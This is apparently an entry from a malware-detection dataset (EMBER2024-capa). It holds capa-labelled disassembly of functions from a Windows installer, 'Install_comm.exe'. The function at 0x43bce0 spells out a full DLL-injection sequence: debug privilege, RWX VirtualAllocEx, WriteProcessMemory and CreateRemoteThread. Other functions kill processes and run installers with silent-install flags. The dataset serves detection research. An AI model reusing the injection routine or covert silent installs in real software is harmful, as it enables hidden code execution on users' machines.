joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436c00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450990
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 0x18], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xd4], ecx
mov ecx, dword [ebp - 0xd4]
call sym.Install_comm.exe_private:_bool___thiscall_CNsLog::isLog_void_
movzx eax, al
test eax, eax
jne 0x436c4a
jmp 0x436d54
lea esi, [ebp - 0x14]
call fcn.004058a0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 0xd4]
call sym.Install_comm.exe_private:_void___thiscall_CNsLog::GetLogFileName_class_ATL::CStringT_wchar_t__class_ATL::StrTraitATL_wchar_t__class_ATL::ChTraitsCRT_wchar_t_____
push 0x459aa4
lea eax, [ebp - 0x14]
call fcn.00405a60
push eax
call fcn.0042ba5e
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x436d45
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea esi, [ebp - 0xb8]
call fcn.004058a0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
push eax
movzx ecx, word [ebp - 0x1c]
push ecx
movzx edx, word [ebp - 0x1e]
push edx
movzx eax, word [ebp - 0x20]
push eax
movzx ecx, word [ebp - 0x22]
push ecx
movzx edx, word [ebp - 0x26]
push edx
movzx eax, word [ebp - 0x28]
push eax
push 0x459ac0
lea edi, [ebp - 0xb8]
call fcn.00406080
add esp, 0x20
lea eax, [ebp - 0xb8]
call fcn.00405a60
push eax
lea ecx, [ebp - 0xb4]
call fcn.00411540
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xb4]
call fcn.00411500
push eax
call fcn.0041a680
add esp, 4
push eax
push 1
lea ecx, [ebp - 0xb4]
call fcn.00411500
push eax
call fcn.0042b91b
add esp, 0x10
mov edx, dword [ebp - 0x10]
push edx
call fcn.004234fa
add esp, 4
lea ecx, [ebp - 0xb4]
call fcn.00411570
mov byte [ebp - 4], 0
lea eax, [ebp - 0xb8]
call fcn.00405990
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x14]
call fcn.00405990
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret 4

Function at 0x436de0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
push 0x1ac
push 0
mov eax, dword [ebp - 0x218]
push eax
call fcn.00419d00
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call sym.Install_comm.exe_void___cdecl_GetCurPath_wchar_t__
add esp, 4
push 0x459aac
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x459bcc
lea eax, [ebp - 0x210]
push eax
call fcn.0042ba5e
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x436e70
mov ecx, dword [ebp - 0x214]
push ecx
push 1
push 0x1ac
mov edx, dword [ebp - 0x218]
push edx
call fcn.0042ca72
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret
Function at 0x436f10
Capabilities:
Get http response content encoding

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450089
mov eax, dword fs:[0]
push eax
sub esp, 0x64c
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], ecx
mov byte [ebp - 0x214], 0
push 0x1ff
push 0
lea eax, [ebp - 0x213]
push eax
call fcn.00419d00
add esp, 0xc
mov dword [ebp - 0x218], 0x200
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x214]
push edx
push 0x1d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x43702e
push 0x200
lea ecx, [ebp - 0x61c]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x214]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x620]
push eax
lea ecx, [ebp - 0x61c]
call fcn.004058e0
mov dword [ebp - 4], 0
lea edi, [ebp - 0x620]
call fcn.0040a4d0
push 0x459c14
lea ecx, [ebp - 0x620]
call fcn.00417c40
test eax, eax
je 0x436ff8
push 0x459c20
lea ecx, [ebp - 0x620]
call fcn.00417c40
test eax, eax
jne 0x43701c
mov dword [ebp - 0x624], 1
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00405990
mov eax, dword [ebp - 0x624]
jmp 0x437030
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00405990
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret 4
Function at 0x438590
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x218]
add eax, 0x10
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.update.cfg
mov edx, dword [ebp - 0x218]
add edx, 0x10
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x45a360
mov eax, dword [ebp - 0x218]
add eax, 0x10
push eax
call fcn.0042ba5e
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4385f7
jmp 0x438665
mov dword [ebp - 0x214], 0
jmp 0x438612
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
mov ecx, dword [ebp - 0x218]
add ecx, 0x26c
call fcn.00415760
cmp dword [ebp - 0x214], eax
jae 0x438659
mov edx, dword [ebp - 4]
push edx
push 1
push 0x410
mov eax, dword [ebp - 0x214]
push eax
mov ecx, dword [ebp - 0x218]
add ecx, 0x26c
call fcn.00417dd0
push eax
call fcn.0042b91b
add esp, 0x10
jmp 0x438603
mov ecx, dword [ebp - 4]
push ecx
call fcn.004234fa
add esp, 4
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret
Function at 0x439630
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
push 0x3f4
call fcn.00419506
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
push 0x3f4
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.00419d00
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x3e8], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x3ec], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x3f0], eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push sym.Install_comm.exe_private:_static_unsigned_int___stdcall_CNsUpdate::UpdateThread_void__
push 0
push 0
call fcn.0042b724
add esp, 0x18
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4396c0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x439940
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
push 0x1ac
push 0
mov eax, dword [ebp - 0x218]
push eax
call fcn.00419d00
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
call sym.Install_comm.exe_void___cdecl_GetCurPath_wchar_t__
add esp, 4
push str.proxy.dat
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x45a488
lea eax, [ebp - 0x210]
push eax
call fcn.0042ba5e
add esp, 8
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
je 0x4399d0
mov ecx, dword [ebp - 0x214]
push ecx
push 1
push 0x1ac
mov edx, dword [ebp - 0x218]
push edx
call fcn.0042ca72
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret
Function at 0x439b00
Capabilities:
Get http response content encoding

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45016d
mov eax, dword fs:[0]
push eax
sub esp, 0x64c
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], ecx
mov byte [ebp - 0x214], 0
push 0x1ff
push 0
lea eax, [ebp - 0x213]
push eax
call fcn.00419d00
add esp, 0xc
mov dword [ebp - 0x218], 0x200
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x214]
push edx
push 0x1d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x439c1e
push 0x200
lea ecx, [ebp - 0x61c]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x214]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x620]
push eax
lea ecx, [ebp - 0x61c]
call fcn.004058e0
mov dword [ebp - 4], 0
lea edi, [ebp - 0x620]
call fcn.0040a4d0
push str.gzip
lea ecx, [ebp - 0x620]
call fcn.00417c40
test eax, eax
je 0x439be8
push 0x45a49c
lea ecx, [ebp - 0x620]
call fcn.00417c40
test eax, eax
jne 0x439c0c
mov dword [ebp - 0x624], 1
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00405990
mov eax, dword [ebp - 0x624]
jmp 0x439c20
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x620]
call fcn.00405990
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret 4
Function at 0x43bc40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret 4

Function at 0x43bce0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x94], ecx
push 1
push 0x45aa70
call sym.Install_comm.exe_int___cdecl_SetPrivilege_wchar_t_const___int_
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x43bd29
xor al, al
jmp 0x43be69
mov dword [ebp - 0x10], 0x1000
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x10]
push ecx
push 0
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x43bd57
xor al, al
jmp 0x43be69
push 0
mov eax, dword [ebp - 0x10]
push eax
push 0x43bc90
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x43bd80
xor al, al
jmp 0x43be69
push 0x6c
push 0
lea eax, [ebp - 0x90]
push eax
call fcn.00419d00
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
push str.LoadLibraryA
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x90], eax
push 0x45aac0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x88]
push ecx
call fcn.0042c730
add esp, 8
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x56]
push eax
call fcn.0042c730
add esp, 8
push 0x40
push 0x1000
push 0x6c
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x43be10
xor al, al
jmp 0x43be69
push 0
push 0x6c
lea edx, [ebp - 0x90]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x43be36
xor al, al
jmp 0x43be69
push 0
push 0
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x43be5d
xor al, al
jmp 0x43be69
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret 0xc
Function at 0x43be80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x240], ecx
mov ecx, dword [ebp + 8]
call fcn.00417180
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x23c], eax
push 0x22c
push 0
lea eax, [ebp - 0x238]
push eax
call fcn.00419d00
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x43beed
xor al, al
jmp 0x43bf5f
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp + 8]
call fcn.00417070
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x43bf18
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x43bf5f
push 0x22c
push 0
lea edx, [ebp - 0x238]
push edx
call fcn.00419d00
add esp, 0xc
mov dword [ebp - 0x238], 0x22c
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43beed
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret 4

Function at 0x43d1e0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0x10325476
mov esp, ebp
pop ebp
ret 4
Function at 0x43e2e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
jmp 0x43e2fb
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
cmp edx, dword [ecx + 0x190]
jge 0x43e341
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.00419d00
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 8
lea edx, [ebp - 0xc]
push edx
call fcn.0042ca72
add esp, 0x10
push 1
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0042d024
add esp, 0xc
jmp 0x43e2f2
mov esp, ebp
pop ebp
ret 8

Function at 0x43e410
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], ecx
xor eax, eax
mov word [ebp - 0x218], ax
push 0x208
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.00419d00
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movzx ecx, word [ebp + eax*2 - 0x21a]
cmp ecx, 0x5c
jne 0x43e488
push str.nslicense.txt
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x43e49a
push str._nslicense.txt
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x218]
push ecx
push 0x45b8b8
push 0x1f55
call sym.Install_comm.exe_int___cdecl_NsResSave_int__wchar_t_const___wchar_t_const__
add esp, 0xc
push 5
push 0
lea edx, [ebp - 0x218]
push edx
push str.notepad.exe
call sym.Install_comm.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret
Function at 0x43e560
Capabilities:
Check if file exists
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], ecx
xor eax, eax
mov word [ebp - 0x218], ax
push 0x208
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.00419d00
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movzx ecx, word [ebp + eax*2 - 0x21a]
cmp ecx, 0x5c
jne 0x43e5d8
push 0x45af04
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x43e5ea
push 0x45af30
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x43e684
cmp dword [ebp + 8], 0
je 0x43e646
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x43e62c
push 0
push 1
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x218]
push ecx
call sym.Install_comm.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x43e644
push 0
push 1
push 0x45af60
lea edx, [ebp - 0x218]
push edx
call sym.Install_comm.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x43e684
mov eax, dword [ebp - 0x21c]
cmp dword [eax + 0xb54], 0xfffffffe
jne 0x43e66c
push 5
push 1
push 0
lea ecx, [ebp - 0x218]
push ecx
call sym.Install_comm.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x43e684
push 0
push 1
push 0x45af68
lea edx, [ebp - 0x218]
push edx
call sym.Install_comm.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret 4
Function at 0x43eae0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45028d
mov eax, dword fs:[0]
push eax
sub esp, 0x238
mov eax, dword [0x467080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x244], ecx
xor eax, eax
mov word [ebp - 0x224], ax
push 0x208
push 0
lea ecx, [ebp - 0x222]
push ecx
call fcn.00419d00
add esp, 0xc
push 0
push 0x26
lea edx, [ebp - 0x224]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x224]
push eax
push str.prog
mov ecx, dword [ebp + 8]
call fcn.00410eb0
lea ecx, [ebp - 0x224]
push ecx
call sym.Install_comm.exe_int___cdecl_GetDesktopPath_wchar_t__
add esp, 4
lea edx, [ebp - 0x224]
push edx
push str.desktop
mov ecx, dword [ebp + 8]
call fcn.00410eb0
lea eax, [ebp - 0x224]
push eax
call sym.Install_comm.exe_int___cdecl_GetProgramsPath_wchar_t__
add esp, 4
push 0x45b7d4
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp - 0x244]
add edx, 0x6f0
push edx
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x224]
push ecx
push 0x45b7d8
mov ecx, dword [ebp + 8]
call fcn.00410eb0
mov eax, dword [ebp - 0x244]
add eax, 0xb64
call fcn.00405a60
push eax
push str.myapp
mov ecx, dword [ebp + 8]
call fcn.00410eb0
call sym.Install_comm.exe_int___cdecl_isWow64_void_
test eax, eax
je 0x43ecae
push 0x104
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea eax, [ebp - 0x224]
push eax
push 0x45b800
mov ecx, dword [ebp + 8]
call fcn.00410eb0
push 0x104
lea ecx, [ebp - 0x224]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [ebp - 0x224]
push edx
push 0x45b80c
mov ecx, dword [ebp + 8]
call fcn.00410eb0
push 0
push 0x26
lea eax, [ebp - 0x224]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0x228]
push ecx
lea ecx, [ebp - 0x224]
call fcn.004058e0
mov dword [ebp - 4], 0
push 0x45b81c
push str.__x86_
lea ecx, [ebp - 0x228]
call fcn.00410eb0
lea eax, [ebp - 0x228]
call fcn.00405a60
push eax
push 0x45b830
mov ecx, dword [ebp + 8]
call fcn.00410eb0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x228]
call fcn.00405990
jmp 0x43ed0f
push 0x104
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x224]
push eax
push str.sys
mov ecx, dword [ebp + 8]
call fcn.00410eb0
lea ecx, [ebp - 0x224]
push ecx
push str.sys64
mov ecx, dword [ebp + 8]
call fcn.00410eb0
push 0
push 0x26
lea edx, [ebp - 0x224]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x224]
push eax
push str.prog64
mov ecx, dword [ebp + 8]
call fcn.00410eb0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00418dfa
mov esp, ebp
pop ebp
ret 4
Function at 0x43ed30
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4502bd
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x467080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jg 0x43ed6d
jmp 0x43edf1
mov eax, dword [ebp - 0x30]
add eax, 0xb64
call fcn.00405a60
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea esi, [ebp - 0x10]
call fcn.004058a0
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0xb64]
push eax
push 0x45b6f4
lea edi, [ebp - 0x10]
call fcn.00406080
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
mov ecx, str._s__S__SILENT__silent__quiet__noreboot__verysilent__sp__norestart__q__qn__SilentInstall
call fcn.004058e0
push 0
push 0
lea eax, [ebp - 0x14]
call fcn.00405a60
push eax
lea eax, [ebp - 0x10]
call fcn.00405a60
push eax
call sym.Install_comm.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
lea eax, [ebp - 0x14]
call fcn.00405990
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
call fcn.00405990
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x43f350
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450346
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x467080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0xae4], 0
je 0x43f3f2
lea esi, [ebp - 0x10]
call fcn.004058a0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x20]
add ecx, 0x4fc
push ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0xb64]
push eax
push 0x45b404
lea edi, [ebp - 0x10]
call fcn.00406080
add esp, 0xc
lea eax, [ebp - 0x10]
call fcn.00405a60
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x43f3e3
push 5
push 0
push 0
lea eax, [ebp - 0x10]
call fcn.00405a60
push eax
call sym.Install_comm.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
call fcn.00405990
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x43f410
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450371
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x467080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
add eax, 0xa10
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x43f452
jmp 0x43f4ed
lea esi, [ebp - 0x10]
call fcn.004058a0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
add ecx, 0xa10
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0xb64]
push eax
push 0x45b3d0
lea edi, [ebp - 0x10]
call fcn.00406080
add esp, 0xc
lea eax, [ebp - 0x10]
call fcn.00405a60
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x43f4de
lea esi, [ebp - 0x14]
call fcn.004058a0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
push ecx
push 0x45b3dc
lea edi, [ebp - 0x14]
call fcn.00406080
add esp, 8
push 0
push 0
lea eax, [ebp - 0x14]
call fcn.00405a60
push eax
push str.regedit.exe
call sym.Install_comm.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov byte [ebp - 4], 0
lea eax, [ebp - 0x14]
call fcn.00405990
